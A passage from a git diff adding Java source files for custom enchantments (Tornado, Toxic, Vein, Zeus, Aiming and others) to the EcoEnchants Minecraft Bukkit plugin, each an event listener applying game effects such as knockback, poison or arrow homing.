BukkitRunnable() { + public void run() { + if (finalOnMaxHealth) { + player.addPotionEffect(new PotionEffect(PotionEffectType.HEAL, 1, 255, false, false, false)); + } + } + }.runTaskLater(Main.getInstance(), 1); + } + }.runTaskLater(Main.getInstance(), 1); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Tornado.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Tornado.java new file mode 100644 index 00000000..62190d91 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Tornado.java @@ -0,0 +1,57 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.Bukkit; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.util.Vector; + +@SuppressWarnings("deprecation") +public class Tornado extends EcoEnchant { + public Tornado() { + super( + new EcoEnchantBuilder("tornado", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.SWORD, Target.Applicable.AXE}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void tornadoHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + if(event.isCancelled()) return; + + Player player = (Player) event.getDamager(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(victim.hasMetadata("NPC")) return; + + if(!AntiGrief.canInjureMob(player, victim)) return; + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double baseVelocity = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "velocity-per-level"); + double yVelocity = baseVelocity * level; + + Vector toAdd = new Vector(0, yVelocity, 0); + + Bukkit.getScheduler().runTaskLater(Main.getInstance(), () -> { + victim.setVelocity(victim.getVelocity().clone().add(toAdd)); + }, 1); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Toxic.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Toxic.java new file mode 100644 index 00000000..4fec120d --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Toxic.java @@ -0,0 +1,55 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Cooldown; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; + +@SuppressWarnings("deprecation") +public class Toxic extends EcoEnchant { + public Toxic() { + super( + new EcoEnchantBuilder("toxic", EnchantmentType.NORMAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onDamage(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + + if (!(event.getEntity() instanceof LivingEntity)) + return; + + Player player = (Player) event.getDamager(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(event.getEntity() instanceof Player) { + if(!AntiGrief.canInjurePlayer(player, (Player) event.getEntity())) return; + } + + if (!HasEnchant.playerHeld(player, this)) return; + + if (Cooldown.getCooldown(player) != 1.0f && !this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "allow-not-fully-charged")) + return; + + int level = HasEnchant.getPlayerLevel(player, this); + if (Rand.randFloat(0, 1) > level * 0.01 * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level")) + return; + + victim.addPotionEffect(new PotionEffect(PotionEffectType.POISON, level * 10 + 20, level)); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Tripleshot.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Tripleshot.java new file mode 100644 index 00000000..cb8d8ea6 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Tripleshot.java @@ -0,0 +1,51 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.enchantments.Enchantment; +import org.bukkit.entity.AbstractArrow; +import org.bukkit.entity.Arrow; +import org.bukkit.entity.EntityType; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityShootBowEvent; +import org.bukkit.util.Vector; + +@SuppressWarnings("deprecation") +public class Tripleshot extends EcoEnchant { + public Tripleshot() { + super( + new EcoEnchantBuilder("tripleshot", EnchantmentType.NORMAL, Target.Applicable.BOW, 4.01) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onTripleshotShoot(EntityShootBowEvent event) { + if (event.getProjectile().getType() != EntityType.ARROW) + return; + + if (!(event.getEntity() instanceof Player)) + return; + + Player player = (Player) event.getEntity(); + + if (!HasEnchant.playerHeld(player, this)) return; + + for (int i = -1; i < 2; i += 2) { + + Vector velocity = event.getProjectile().getVelocity(); + + float radians = (float) ((float) i * Math.toRadians(this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "angle"))); + velocity.rotateAroundY(radians); + + Arrow arrow = player.launchProjectile(Arrow.class, velocity); + if(HasEnchant.playerHeld(player, Enchantment.ARROW_FIRE)) arrow.setFireTicks(Integer.MAX_VALUE); + arrow.setPickupStatus(AbstractArrow.PickupStatus.DISALLOWED); + } + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/VampireAspect.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/VampireAspect.java new file mode 100644 index 00000000..0c89d889 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/VampireAspect.java @@ -0,0 +1,55 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Cooldown; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; + +@SuppressWarnings("deprecation") +public class VampireAspect extends EcoEnchant { + public VampireAspect() { + super( + new EcoEnchantBuilder("vampire_aspect", EnchantmentType.NORMAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void vampireAspectHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + + if (!(event.getEntity() instanceof LivingEntity)) + return; + + Player player = (Player) event.getDamager(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(event.getEntity() instanceof Player) { + if(!AntiGrief.canInjurePlayer(player, (Player) event.getEntity())) return; + } + + if (!HasEnchant.playerHeld(player, this)) return; + + if (Cooldown.getCooldown(player) != 1.0f && !this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "allow-not-fully-charged")) + return; + + int level = HasEnchant.getPlayerLevel(player, this); + if (Rand.randFloat(0, 1) > level * 0.01 * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level")) + return; + + victim.addPotionEffect(new PotionEffect(PotionEffectType.WITHER, level * 10 + 20, level)); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Vein.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Vein.java new file mode 100644 index 00000000..edb150f0 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Vein.java @@ -0,0 +1,77 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.anticheat.AnticheatManager; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.BlockBreak; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.RecursiveBlock; +import org.bukkit.Bukkit; +import org.bukkit.Material; +import org.bukkit.block.Block; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.block.BlockBreakEvent; +import org.bukkit.metadata.FixedMetadataValue; + +import java.util.ArrayList; +import java.util.List; +import java.util.Set; + +public class Vein extends EcoEnchant { + public Vein() { + super( + new EcoEnchantBuilder("vein", EnchantmentType.NORMAL, Target.Applicable.PICKAXE, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onBreak(BlockBreakEvent event) { + Player player = event.getPlayer(); + Block block = event.getBlock(); + + if (block.hasMetadata("from-drill") || block.hasMetadata("from-blastmining") || block.hasMetadata("from-lumberjack") || block.hasMetadata("from-vein")) { + return; + } + + if (!HasEnchant.playerHeld(player, this)) return; + + if (event.isCancelled()) + return; + + if (!AntiGrief.canBreakBlock(player, block)) return; + + if(player.isSneaking() && this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "disable-on-sneak")) return; + + List materials = new ArrayList<>(); + this.getConfig().getStrings(EcoEnchants.CONFIG_LOCATION + "whitelisted-blocks").forEach(name -> materials.add(Material.getMaterial(name.toUpperCase()))); + + if(!materials.contains(block.getType())) + return; + + int blocksPerLevel = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "blocks-per-level"); + int level = HasEnchant.getPlayerLevel(player, this); + int limit = level * blocksPerLevel; + + Set blockSet = RecursiveBlock.getVein(block, materials, limit); + + AnticheatManager.exemptPlayer(player); + + for(Block veinBlock : blockSet) { + veinBlock.setMetadata("from-vein", new FixedMetadataValue(Main.getInstance(), true)); + if(!AntiGrief.canBreakBlock(player, veinBlock)) continue; + + BlockBreak.breakBlock(player, veinBlock); + + Bukkit.getScheduler().runTaskLater(Main.getInstance(), () -> veinBlock.removeMetadata("from-vein", Main.getInstance()),1); + } + + AnticheatManager.unexemptPlayer(player); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Venom.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Venom.java new file mode 100644 index 00000000..2746ee1e --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Venom.java @@ -0,0 +1,56 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.Arrow; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; + +@SuppressWarnings("deprecation") +public class Venom extends EcoEnchant { + public Venom() { + super( + new EcoEnchantBuilder("venom", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.CROSSBOW, Target.Applicable.BOW}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Arrow)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + if(!(((Arrow) event.getDamager()).getShooter() instanceof Player)) + return; + + Player player = (Player) ((Arrow) event.getDamager()).getShooter(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(event.getEntity() instanceof Player) { + if(!AntiGrief.canInjurePlayer(player, (Player) event.getEntity())) return; + } + + if(event.isCancelled()) return; + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + if (Rand.randFloat(0, 1) > level * 0.01 * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level")) + return; + + victim.addPotionEffect(new PotionEffect(PotionEffectType.WITHER, level * 10 + 20, level)); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/WaterAffinity.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/WaterAffinity.java new file mode 100644 index 00000000..06d4e53b --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/WaterAffinity.java @@ -0,0 +1,46 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.Material; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class WaterAffinity extends EcoEnchant { + public WaterAffinity() { + super( + new EcoEnchantBuilder("water_affinity", EnchantmentType.NORMAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + Player player = (Player) event.getDamager(); + + if (!HasEnchant.playerHeld(player, this)) return; + + if(!player.getLocation().getBlock().getType().equals(Material.WATER)) + return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "percent-more-per-level"); + + double finalMultiplier = (multiplier/100 * level) + 1; + + event.setDamage(event.getDamage() * finalMultiplier); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/WaterAspect.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/WaterAspect.java new file mode 100644 index 00000000..01f52130 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/WaterAspect.java @@ -0,0 +1,43 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.*; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class WaterAspect extends EcoEnchant { + public WaterAspect() { + super( + new EcoEnchantBuilder("water_aspect", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.SWORD, Target.Applicable.AXE}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onWaterAspectDamage(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) return; + + if (!(event.getEntity() instanceof LivingEntity)) return; + + Player player = (Player) event.getDamager(); + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(!(victim instanceof Blaze || victim instanceof MagmaCube || victim instanceof Enderman)) + return; + + if (!HasEnchant.playerHeld(player, this)) return; + int level = HasEnchant.getPlayerLevel(player, this); + + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "multiplier"); + + double damageMultiplier = (level * multiplier) + 1; + + event.setDamage(event.getDamage() * damageMultiplier); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Weakening.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Weakening.java new file mode 100644 index 00000000..4e1b142b --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Weakening.java @@ -0,0 +1,66 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.Bukkit; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +import java.util.HashSet; +import java.util.Set; + +@SuppressWarnings("deprecation") +public class Weakening extends EcoEnchant { + public Weakening() { + super( + new EcoEnchantBuilder("weakening", EnchantmentType.NORMAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + Set weakened = new HashSet<>(); + + @EventHandler + public void weakeningHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + + if (!(event.getEntity() instanceof LivingEntity)) + return; + + Player player = (Player) event.getDamager(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(weakened.contains(victim)) { + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "multiplier-while-weak"); + + event.setDamage(event.getDamage() * multiplier); + } + + if(event.getEntity() instanceof Player) { + if(!AntiGrief.canInjurePlayer(player, (Player) event.getEntity())) return; + } + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + int ticksPerLevel = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "ticks-per-level"); + int ticks = ticksPerLevel * level; + + weakened.add(victim); + + Bukkit.getScheduler().runTaskLater(Main.getInstance(), () -> { + weakened.remove(victim); + }, ticks); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Wisdom.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Wisdom.java new file mode 100644 index 00000000..871a062c --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Wisdom.java @@ -0,0 +1,34 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.events.naturalexpgainevent.NaturalExpGainEvent; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; + +@SuppressWarnings("deprecation") +public class Wisdom extends EcoEnchant { + public Wisdom() { + super( + new EcoEnchantBuilder("wisdom", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.TOOL, Target.Applicable.SWORD, Target.Applicable.TRIDENT, Target.Applicable.BOW, Target.Applicable.CROSSBOW, Target.Applicable.ROD}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onExpChange(NaturalExpGainEvent event) { + Player player = event.getExpChangeEvent().getPlayer(); + + if(event.getExpChangeEvent().getAmount() < 0) return; + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + event.getExpChangeEvent().setAmount((int) Math.ceil(event.getExpChangeEvent().getAmount() * (1 + (level * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "bonus-per-point"))))); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Zeus.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Zeus.java new file mode 100644 index 00000000..c1a74711 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Zeus.java @@ -0,0 +1,55 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Lightning; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.Arrow; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Zeus extends EcoEnchant { + public Zeus() { + super( + new EcoEnchantBuilder("zeus", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.BOW, Target.Applicable.CROSSBOW}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void zeusHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Arrow)) + return; + if(!(((Arrow) event.getDamager()).getShooter() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + Player player = (Player) ((Arrow) event.getDamager()).getShooter(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(event.getEntity() instanceof Player) { + if(!AntiGrief.canInjurePlayer(player, (Player) event.getEntity())) return; + } + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + if (Rand.randFloat(0, 1) > level * 0.01 * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level")) + return; + + double damage = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "lightning-damage"); + + Lightning.strike(victim, damage); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Aiming.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Aiming.java new file mode 100644 index 00000000..c37464f8 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Aiming.java @@ -0,0 +1,104 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.special; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.EqualIfOver; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.Bukkit; +import org.bukkit.GameMode; +import org.bukkit.entity.Arrow; +import org.bukkit.entity.Enderman; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.ProjectileLaunchEvent; +import org.bukkit.scheduler.BukkitRunnable; +import org.bukkit.util.Vector; + +import java.util.Arrays; +import java.util.List; + +@SuppressWarnings("unchecked") +public class Aiming extends EcoEnchant { + public Aiming() { + super( + new EcoEnchantBuilder("aiming", EnchantmentType.SPECIAL, Target.Applicable.BOW, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void aimingLaunch(ProjectileLaunchEvent event) { + if (!(event.getEntity().getShooter() instanceof Player)) + return; + + if(!(event.getEntity() instanceof Arrow)) + return; + + if(event.isCancelled()) return; + + Player player = (Player) event.getEntity().getShooter(); + Arrow arrow = (Arrow) event.getEntity(); + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "distance-per-level"); + + double distance = level * multiplier; + double force = arrow.getVelocity().clone().length() / 3; + force = EqualIfOver.equalIfOver(force, 1); + + if(this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "require-full-force")) { + if(force < 0.9) return; + } + + if(this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "scale-on-force")) { + distance *= force; + } + + final double finalDistance = distance; + Runnable runnable = new BukkitRunnable() { + @Override + public void run() { + List nearbyEntities = (List)(List) Arrays.asList(arrow.getNearbyEntities(finalDistance, finalDistance, finalDistance).stream() + .filter(entity -> entity instanceof LivingEntity) + .filter(entity -> !entity.equals(player)) + .filter(entity -> !(entity instanceof Enderman)) + .filter(entity -> { + if (entity instanceof Player) { + return ((Player) entity).getGameMode().equals(GameMode.SURVIVAL) || ((Player) entity).getGameMode().equals(GameMode.ADVENTURE); + } + return true; + }).toArray()); + if(nearbyEntities.isEmpty()) return; + LivingEntity entity = nearbyEntities.get(0); + double distance = Double.MAX_VALUE; + for(LivingEntity livingEntity : nearbyEntities) { + double currentDistance = livingEntity.getLocation().distance(arrow.getLocation()); + if(currentDistance >= distance) continue; + + distance = currentDistance; + entity = livingEntity; + } + if(entity != null) { + Vector vector = entity.getEyeLocation().toVector().clone().subtract(arrow.getLocation().toVector()).normalize(); + arrow.setVelocity(vector); + } + } + }; + + new BukkitRunnable() { + @Override + public void run() { + if(arrow.isDead() || arrow.isInBlock() || arrow.isOnGround()) this.cancel(); + Bukkit.getScheduler().runTask(Main.getInstance(), runnable); + } + }.runTaskTimer(Main.getInstance(), 3, 5); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Annihilate.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Annihilate.java new file mode 100644 index 00000000..47d75aad --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Annihilate.java @@ -0,0 +1,51 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.special; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.util.Vector; + +@SuppressWarnings("deprecation") +public class Annihilate extends EcoEnchant { + public Annihilate() { + super( + new EcoEnchantBuilder("annihilate", EnchantmentType.SPECIAL, new Target.Applicable[]{Target.Applicable.SWORD, Target.Applicable.AXE}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + if(event.isCancelled()) return; + + Player player = (Player) event.getDamager(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(victim.hasMetadata("NPC")) return; + + if(!AntiGrief.canInjureMob(player, victim)) return; + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double baseMultiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "velocity-multiplier"); + Vector vector = player.getLocation().toVector().clone().subtract(victim.getLocation().toVector()).normalize().multiply(level * baseMultiplier).multiply(-1); + vector.setY(0.2); + victim.setVelocity(vector); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Bladed.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Bladed.java new file mode 100644 index 00000000..57c52fe8 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Bladed.java @@ -0,0 +1,56 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.special; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.nms.TridentStack; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.entity.Trident; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.inventory.ItemStack; + +@SuppressWarnings("deprecation") +public class Bladed extends EcoEnchant { + public Bladed() { + super( + new EcoEnchantBuilder("bladed", 